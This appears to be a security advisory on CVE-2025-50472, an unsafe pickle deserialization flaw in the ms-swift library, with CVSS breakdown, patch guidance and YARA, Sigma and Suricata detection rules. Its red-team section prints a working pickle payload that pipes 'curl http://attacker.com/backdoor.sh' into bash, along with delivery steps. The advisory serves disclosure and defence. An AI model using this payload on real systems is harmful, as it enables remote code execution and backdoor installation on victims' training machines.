CVE-2025-50472

Executive Summary

CVE-2025-50472 is a critical deserialization vulnerability in the Modelscope ms-swift library (through version 2.6.1). The flaw resides in the load_model_meta() function of the ModelFileSystemCache() class, which uses Python's pickle.load() on untrusted data from .mdl files. An attacker can craft a malicious .mdl file that, when loaded during a normal training process, executes arbitrary code on the victim's machine. The payload file is hidden (dotfile), making detection difficult, and the training process continues normally after execution, masking the attack.

Supply Chain & Package Security

This vulnerability affects the PyPI package ms-swift. Users who install this package via pip install ms-swift are at risk if they load untrusted model checkpoints. The attack vector is supply chain–adjacent, as malicious .mdl files could be distributed as part of model repositories or shared checkpoints.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The malicious .mdl file can be delivered over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must load the malicious checkpoint.
• Scope (S): Unchanged (U) – The vulnerable component is affected.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – System compromise possible.

CVSS Score: 8.8 (High) – Remote code execution with user interaction.

Deep Dive & Mechanics

The vulnerability is in the ModelFileSystemCache class within the ms-swift library. The load_model_meta() function reads a .mdl file and deserializes it using pickle.load(). Python's pickle module is inherently unsafe when used on untrusted data, as it can execute arbitrary code during deserialization.

Attack Flow:

1. Attacker crafts a malicious .mdl file containing a pickle payload that executes arbitrary code (e.g., reverse shell, data exfiltration).
2. The attacker hosts the file on a public repository or tricks the victim into downloading it.
3. The victim loads the checkpoint during training (e.g., model = ModelFileSystemCache.load_model_meta("malicious.mdl")).
4. The pickle.load() call executes the attacker's code.
5. The training process continues normally, hiding the compromise.

Root Cause: Use of pickle.load() without sanitization or integrity checks on the .mdl file.

Vulnerable vs. Patched Code

Vulnerable Code (ms-swift <= 2.6.1):

class ModelFileSystemCache:
    def load_model_meta(self, path):
        with open(path, 'rb') as f:
            return pickle.load(f)  # Unsafe deserialization

Patched Code (Hypothetical):

import json
import hmac
import hashlib

class ModelFileSystemCache:
    def load_model_meta(self, path):
        with open(path, 'rb') as f:
            data = json.load(f)  # Use safe serialization
            if not self.verify_signature(data):
                raise ValueError("Integrity check failed")
            return data

Key Differences:

• Replace pickle.load() with json.load() or another safe deserializer.
• Add integrity verification (e.g., HMAC signature) to ensure the file hasn't been tampered with.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Python 3.x with ms-swift <= 2.6.1 installed.
• A target system running model training with ModelFileSystemCache.

Exploit Payload Generation:

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/backdoor.sh | bash',))

payload = pickle.dumps(Exploit())
with open('malicious.mdl', 'wb') as f:
    f.write(payload)

Delivery & Execution:

1. Host the malicious.mdl file on a public server.
2. Trick the victim into downloading and loading it:

   from modelscope.ms_swift import ModelFileSystemCache
   cache = ModelFileSystemCache()
   cache.load_model_meta('malicious.mdl')
   

3. The payload executes, giving the attacker remote access.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual pickle.load() calls in Python processes.
2. Use file integrity monitoring (FIM) on .mdl files.
3. Deploy network detection for outbound connections from training processes.

Mitigation:

• Block untrusted .mdl files at the perimeter.
• Use sandboxed environments for model loading.
• Apply the hypothetical patch (switch to safe deserialization).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual)
  • malicious.mdl: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound connections to attacker-controlled IPs/domains.
  • Unusual DNS queries for attacker.com.
• Process Indicators:
  • Python process executing shell commands (e.g., os.system, subprocess).
  • Unexpected child processes (e.g., bash, curl).
• File System Indicators:
  • Hidden .mdl files in model directories.
  • Modified timestamps on .mdl files.

Detection Engineering

YARA Rule

rule CVE_2025_50472_Pickle_Exploit {
    meta:
        description = "Detects malicious pickle payload targeting CVE-2025-50472"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50472"
    strings:
        $pickle_magic = { 80 04 95 }  // pickle protocol 4 magic bytes
        $reduce = "__reduce__"
        $os_system = "os.system"
        $subprocess = "subprocess"
    condition:
        $pickle_magic at 0 and ($reduce or $os_system or $subprocess)
}

Sigma Rule

title: CVE-2025-50472 Pickle Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit pickle deserialization in ms-swift
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        CommandLine|contains: 'pickle.load'
    condition: selection
falsepositives:
    - Legitimate use of pickle in trusted environments
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-50472 Pickle Payload Transfer"; flow:to_server; content:"|80 04 95|"; depth:3; content:"__reduce__"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately.
2. Workaround: Avoid loading .mdl files from untrusted sources. Use a safe deserialization wrapper:

   import json
   def safe_load_model_meta(path):
       with open(path, 'r') as f:
           return json.load(f)
   

3. Network Controls: Block outbound connections from training environments.
4. File Integrity: Monitor .mdl files for unauthorized changes.

Long-Term Fix:

• Replace pickle.load() with a safe serialization format (e.g., JSON, Protocol Buffers).
• Implement cryptographic signing of model files.
• Conduct security review of all deserialization points.

Valters IT – Securing the digital frontier, one CVE at a time.